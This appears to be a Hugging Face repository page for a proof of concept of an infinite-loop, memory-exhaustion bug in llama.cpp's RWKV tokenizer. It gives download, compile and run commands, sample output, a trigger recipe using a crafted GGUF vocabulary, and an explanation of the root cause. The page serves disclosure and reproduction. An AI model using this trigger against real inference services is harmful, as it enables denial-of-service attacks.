Downloads · 30 days
8
12% of all-time downloads
blackr0se1/llama-cpp-rwkv-infinite-loop-poc
llama-cpp-rwkv-infinite-loop-poc is a machine learning model from blackr0se1. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
- pocrwkvvocab.gguf - Crafted GGUF with RWKV vocabulary metadata - pocrwkvloop.cpp - Standalone C++ PoC that reproduces the exact vulnerable code - craftrwkvpoc.py - Python script that generates the GGUF PoC file
Downloads · 30 days
8
12% of all-time downloads
All-time downloads
65
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.cpp5.5 KB · 37%
From the Hugging Face model README
poc_rwkv_vocab.gguf - Crafted GGUF with RWKV vocabulary metadatapoc_rwkv_loop.cpp - Standalone C++ PoC that reproduces the exact vulnerable codecraft_rwkv_poc.py - Python script that generates the GGUF PoC fileThis directly reproduces the vulnerable naive_trie + tokenize() code from llama-vocab.cpp:28-69 and 1262-1288.
# Download
wget https://huggingface.co/blackr0se1/llama-cpp-rwkv-infinite-loop-poc/resolve/main/poc_rwkv_loop.cpp
# Compile (no llama.cpp build needed)
c++ -std=c++17 -O0 -o poc_rwkv_loop poc_rwkv_loop.cpp
# Run (will loop for ~3 seconds then report)
./poc_rwkv_loop
[*] RWKV Tokenizer Infinite Loop PoC
[*] Trie has tokens: 'ab' (id=1), 'cd' (id=2), 'xyz' (id=3)
[*] No single-char token for 'a' - node exists but has_value=false
[*] Input: "ac"
[*] Expected: infinite loop at position=0 (token_length stays 0)
[*] Monitoring output growth...
iteration 100000: position=0, token_length=0, output.size=100000
iteration 200000: position=0, token_length=0, output.size=200000
...
iteration 1000000: position=0, token_length=0, output.size=1000000
[!] Loop terminated after 1000000 iterations (capped)
[!] Output vector grew to 1000000 entries (unbounded in real code)
[!] Position stuck at: 0 (never advances past trigger byte)
[!] In production: this runs until OOM kills the process
[+] CONFIRMED: Infinite loop reproduced.
The poc_rwkv_vocab.gguf contains RWKV tokenizer vocabulary metadata with tokens ["ab", "cd", "ef"] - no single-character tokens. To trigger via llama.cpp, load any RWKV model that uses this vocabulary and tokenize any input containing 'a' followed by a non-'b' character.
The RWKV tokenizer builds a trie from vocabulary tokens. Token "ab" creates trie nodes for 'a' and 'b', but only the 'b' node has has_value=true. When input "ac" is tokenized:
traverse('a') finds a node (prefix of "ab"), enters the inner loopnode->has_value is false, so token_length stays 0traverse('c') returns NULL, inner loop exitsposition = token_length = 0 - resets to the startEach iteration pushes to the output vector, causing unbounded memory growth until OOM.